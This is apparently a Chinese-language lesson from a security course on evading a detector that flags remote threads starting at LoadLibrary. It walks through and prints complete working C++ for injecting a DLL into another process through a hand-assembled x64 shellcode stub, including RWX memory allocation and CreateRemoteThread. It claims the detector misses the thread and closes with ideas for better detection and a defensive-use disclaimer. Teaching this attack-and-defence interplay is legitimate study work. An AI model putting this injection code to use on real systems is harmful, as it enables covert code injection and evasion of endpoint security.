阅读时间: 3-4 分钟
前置知识: 理解进程注入和防御检测原理、汇编基础
学习目标: 掌握 Shellcode 注入技术,理解攻防对抗思路
📺 配套视频教程
本文配套视频教程已发布在 B 站,建议结合视频学习效果更佳:
💡 提示: 点击视频右下角可全屏观看,建议配合文章食用!
视频链接: https://www.bilibili.com/video/BV1ktxXzNEVR/
🎯 道高一尺,魔高一丈
防御者的困境
上节课我们学会了检测远程线程注入,核心思路非常简单:抓住线程起始地址 = LoadLibrary 这个特征。
但攻防对抗永远是螺旋上升的:
- ⚔️ 防御者刚亮出检测手段
- 🛡️ 攻击者已经在思考破解之道
这节课我们切换到攻击者视角,看看如何绕过这个检测。
检测的致命缺陷
让我们冷静分析这个检测方案的弱点:
检测逻辑:线程起始地址 == LoadLibrary?
↓
是 → 告警
否 → 放行
问题在哪?
- ✅ 它只检测了线程的起始地址
- ❌ 但完全不管线程后续执行了什么
这就像门卫只看你进门时的身份证,却不管你进门后干什么——这个漏洞太大了!
🔓 攻击者的两条破解路径
利用这个缺陷,攻击者有两个清晰的绕过方向:
方向 1:Shellcode 中转(本节重点)
核心思路: 不直接用 LoadLibrary 作为起始地址
传统注入流程:
CreateRemoteThread → LoadLibrary (起始地址) → 加载 DLL
↑
被检测到!
绕过后的流程:
CreateRemoteThread → Shellcode (起始地址) → 调用 LoadLibrary → 加载 DLL
↑ ↑
看起来正常 真正的恶意行为
实现步骤:
- 先创建线程指向一段 shellcode(自定义的机器码)
- 在 shellcode 中再调用
LoadLibrary - 线程起始地址是普通内存区域,不是
LoadLibrary
方向 2:不创建新线程(后续课程)
核心思路: 完全避开线程创建这个检测点
常见技术:
- APC 注入:利用现有线程的 APC 队列执行代码
- 线程上下文劫持:直接修改现有线程的执行指针(RIP/EIP)
- 线程池劫持:利用系统线程池执行恶意代码
这些方法不创建新线程,因此检测工具根本抓不到”可疑的线程起始地址”。
📚 本节学习重点
这节课我们专注于方向 1:使用 Shellcode 中转,这是理解后续高级技术的基础。
什么是 Shellcode?
Shellcode 是一段可以直接在内存中执行的机器码
核心区别在哪?
正常程序:
- 双击
program.exe→ Windows 加载 PE 文件 → 解析导入表 → 加载 DLL → 跳转入口点 - 有身份:系统知道它是谁,从哪来
- 防御软件可以监控这些步骤
Shellcode:
- 把字节数组写入内存 → 线程直接跳到这个地址执行
- 无身份:就是一堆字节,系统只知道”这里有代码”
- 没有文件,没有加载器,没有 PE 格式
这就是为什么 shellcode 能绕过很多检测!
代码实操
原理讲完了
咱们来直接看代码
从 main 函数开始
int main() {
printf("=== Shellcode 注入 - 绕过线程起始地址检测 ===nn");
DWORD targetPid = 42148;
const char* dllPath = "C:\Injection.dll";
InjectDllWithShellcode(targetPid, dllPath);
system("pause");
return 0;
}很简单
指定目标进程 PID
指定 DLL 路径
调用注入函数
注入函数四步走
InjectDllWithShellcode 分四步:
- 打开目标进程
- 准备 shellcode 和参数
- 在目标进程分配内存并写入
- 创建远程线程执行 shellcode
下面逐步讲解
开始前:准备 Shellcode 机器码
先定义两个东西
参数结构体:
struct ShellcodeData {
LPVOID pLoadLibraryA; // LoadLibraryA 函数地址
char dllPath[MAX_PATH]; // DLL 完整路径
};这个结构体是 Shellcode 的”参数包”
前 8 字节放函数地址
后面放 DLL 路径字符串
Shellcode 会从这里读取需要的信息
Shellcode 字节数组:
unsigned char g_Shellcode[] = {
0x48, 0x8B, 0x01, // mov rax, [rcx]
0x48, 0x8D, 0x49, 0x08, // lea rcx, [rcx + 8]
0x48, 0x83, 0xEC, 0x28, // sub rsp, 0x28
0xFF, 0xD0, // call rax
0x48, 0x83, 0xC4, 0x28, // add rsp, 0x28
0xC3 // ret
};重点理解这段机器码:
这些十六进制数字就是 CPU 能直接执行的指令
不需要编译
不需要加载
写进内存就能跑
让我们逐行解释:
第1行: 0x48, 0x8B, 0x01 → mov rax, [rcx]
- RCX 寄存器存着参数地址(也就是 ShellcodeData 结构体的地址)
- 从这个地址读取前 8 个字节(LoadLibraryA 的地址)
- 放到 RAX 寄存器里
第2行: 0x48, 0x8D, 0x49, 0x08 → lea rcx, [rcx + 8]
- 结构体前 8 字节是函数指针
- 后面才是 DLL 路径字符串
- 所以 RCX + 8 就指向了 DLL 路径
- 这个地址会作为参数传给 LoadLibraryA
第3行: 0x48, 0x83, 0xEC, 0x28 → sub rsp, 0x28
- 在栈上预留 40 字节
- x64 调用约定的要求(前4个参数的备份空间 + 对齐)
- 不分配这个空间会导致调用崩溃
第4行: 0xFF, 0xD0 → call rax
- 调用 RAX 里的函数(也就是 LoadLibraryA)
- 参数 RCX 已经指向了 DLL 路径
第5行: 0x48, 0x83, 0xC4, 0x28 → add rsp, 0x28
- 恢复栈指针
- 释放刚才预留的 40 字节
第6行: 0xC3 → ret
- 返回到调用者
核心逻辑:
- 从结构体读取 LoadLibraryA 地址 → RAX
- 计算 DLL 路径地址 → RCX
- 调用 LoadLibraryA(RCX)
- 完成 DLL 加载
第一步:打开目标进程
关键 API:OpenProcess
BOOL InjectDllWithShellcode(DWORD dwProcessId, const char* dllPath) {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (!hProcess) {
printf("打开进程失败n");
return FALSE;
}
}第二步:准备参数
关键 API:GetModuleHandleA / GetProcAddress
// 获取 LoadLibraryA 地址
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
LPVOID pLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA");
// 填充参数结构
ShellcodeData localData = { 0 };
localData.pLoadLibraryA = pLoadLibraryA;
strcpy_s(localData.dllPath, dllPath);这步做两件事:
- 拿到 LoadLibraryA 的地址
- 把地址和 DLL 路径塞进结构体
第三步:在目标进程分配内存并写入
需要分配两块内存
3.1 写入 shellcode
关键 API:VirtualAllocEx / WriteProcessMemory
LPVOID pRemoteShellcode = VirtualAllocEx(
hProcess,
NULL,
sizeof(g_Shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE // 可执行权限
);
WriteProcessMemory(hProcess, pRemoteShellcode, g_Shellcode, sizeof(g_Shellcode), NULL);3.2 写入参数
LPVOID pRemoteData = VirtualAllocEx(
hProcess,
NULL,
sizeof(ShellcodeData),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
WriteProcessMemory(hProcess, pRemoteData, &localData, sizeof(ShellcodeData), NULL);第一块放代码
第二块放参数
第四步:创建远程线程执行
关键 API:CreateRemoteThread
HANDLE hThread = CreateRemoteThread(
hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)pRemoteShellcode, // 起始地址 = shellcode!
pRemoteData, // 参数 = shellcode 数据
0,
NULL
);
if (hThread) {
printf("注入成功!线程起始地址: 0x%pn", pRemoteShellcode);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
CloseHandle(hProcess);
return TRUE;关键在这:
- 传统方式:我创建远程线程,起始地址直接指向 LoadLibrary,然后 DLL 路径作为参数传进去,一步到位加载 DLL
- Shellcode 方式:我创建远程线程,起始地址指向 Shellcode,Shellcode 再去调用 LoadLibrary 加载 DLL
防御者检测:起始地址 ≠ LoadLibrary,检测失败!
完整绕过代码
#include <windows.h>
#include <cstdio>
#include <cstring>
/**
* @brief Shellcode 使用的数据结构
* @details 保存 LoadLibraryA 地址和目标 DLL 路径
*/
struct ShellcodeData {
LPVOID pLoadLibraryA; // LoadLibraryA 函数地址
char dllPath[MAX_PATH]; // DLL 文件路径
};
/**
* @brief x64 Shellcode 原始字节
* @details 约定 RCX 指向 ShellcodeData
*/
unsigned char g_Shellcode[] = {
0x48, 0x8B, 0x01, // mov rax, [rcx]
0x48, 0x8D, 0x49, 0x08, // lea rcx, [rcx + 8]
0x48, 0x83, 0xEC, 0x28, // sub rsp, 0x28
0xFF, 0xD0, // call rax
0x48, 0x83, 0xC4, 0x28, // add rsp, 0x28
0xC3 // ret
};
BOOL InjectDllWithShellcode(DWORD dwProcessId, const char* dllPath) {
// 第一步:打开目标进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (!hProcess) {
printf("打开进程失败,错误码: %lun", GetLastError());
return FALSE;
}
// 第二步:准备 shellcode
// 2.1 获取 LoadLibraryA 地址
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
LPVOID pLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA");
printf("LoadLibraryA 地址: 0x%pn", pLoadLibraryA);
// 2.2 准备 shellcode 数据
ShellcodeData localData = {};
localData.pLoadLibraryA = pLoadLibraryA;
strcpy_s(localData.dllPath, dllPath);
// 第三步:在目标进程中分配内存
// 3.1 分配 shellcode 内存
LPVOID pRemoteShellcode = VirtualAllocEx(
hProcess,
NULL,
sizeof(g_Shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE // 可执行权限
);
// 3.2 分配参数结构体内存
LPVOID pRemoteData = VirtualAllocEx(
hProcess,
NULL,
sizeof(ShellcodeData),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
// 检查分配结果
if (!pRemoteShellcode || !pRemoteData) {
printf("分配内存失败n");
if (pRemoteShellcode) VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
if (pRemoteData) VirtualFreeEx(hProcess, pRemoteData, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
// 3.3 写入 shellcode 和参数
BOOL writeSuccess = TRUE;
if (!WriteProcessMemory(hProcess, pRemoteShellcode, g_Shellcode, sizeof(g_Shellcode), NULL)) {
printf("写入 shellcode 失败n");
writeSuccess = FALSE;
}
if (!WriteProcessMemory(hProcess, pRemoteData, &localData, sizeof(ShellcodeData), NULL)) {
printf("写入参数失败n");
writeSuccess = FALSE;
}
if (!writeSuccess) {
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pRemoteData, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
printf("Shellcode 写入地址: 0x%pn", pRemoteShellcode);
printf("参数写入地址: 0x%pn", pRemoteData);
// 第四步:创建远程线程执行 shellcode
HANDLE hThread = CreateRemoteThread(
hProcess,
NULL,
0,
reinterpret_cast<LPTHREAD_START_ROUTINE>(pRemoteShellcode),
pRemoteData,
0,
NULL
);
if (!hThread) {
printf("创建远程线程失败,错误码: %lun", GetLastError());
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pRemoteData, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
printf("n=== 注入成功 ===n");
printf("线程入口: 0x%p (触发 LoadLibrary)n", pRemoteShellcode);
printf("参数地址: 0x%pn", pRemoteData);
printf("绕过起始地址检测完成!n");
//等待线程并释放资源
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pRemoteData, 0, MEM_RELEASE);
CloseHandle(hProcess);
return TRUE;
}
int main() {
printf("=== Shellcode 注入 - 绕过线程起始地址检测 ===nn");
DWORD targetPid = 0;
printf("请输入目标进程 PID: ");
scanf_s("%lu", &targetPid);
const char* dllPath = "C:\Injection.dll"; // 根据实际情况修改
InjectDllWithShellcode(targetPid, dllPath);
system("pause");
return 0;
}绕过效果验证
运行 Shellcode 注入程序并同时运行防御者的检测程序:

成功绕过! 如图所示:
- 左侧:Shellcode 注入程序成功运行,DLL 注入成功并弹出提示框
- 右侧:检测程序正在扫描线程,但所有线程的起始地址都显示 [正常]
- 即使 DLL 已成功注入,检测程序也无法识别可疑线程,成功绕过了检测!
对比传统注入:
传统注入: 线程 ID: 9999 起始地址: 0x76a41234 [可疑!] → 被检测到
Shellcode: 线程 ID: 9999 起始地址: 0x02A50000 [正常] → 绕过成功
但是,问题来了!
仔细观察会发现:依然出现了一个新线程!
这暴露了检测逻辑的致命弱点:
只检测 LoadLibrary 地址是片面的。真正的问题不是”起始地址是不是 LoadLibrary”,而是:
- 为什么会突然出现新线程?
- 谁创建了这个线程?
- 正常程序会频繁创建远程线程吗?
更好的检测思路:直接检测可疑的新线程,不管起始地址是什么!
绕过的优缺点
优势:
- ✅ 成功绕过基于起始地址的检测
- ✅ 灵活性高,shellcode 可以做任何事
劣势:
- ❌ 实现复杂,需要编写汇编
- ❌ 本质没变,依然创建远程线程
防御者的反思
攻击者成功绕过了起始地址检测,但防御者不会就此放弃。
反思:
- 为什么只检测 LoadLibrary 地址?
- 难道攻击者换个地址我就检测不到了?
- 应该检测的是”远程线程”本身,而不是起始地址!
新的检测方向:
- 检测可疑的新线程
- 分析线程的创建者
- 检测线程的行为
下节课,我们将站在防御者角度,学习如何直接检测可疑线程!
互动讨论
欢迎在评论区讨论以下问题:
- 除了 Shellcode,你还能想到哪些方式绕过线程起始地址检测?
- 如果你是防御者,现在如何改进检测方案?
- 攻防对抗的本质是什么?
⚠️ 本课程内容仅供防御性安全研究与教学使用,请勿用于非法用途。
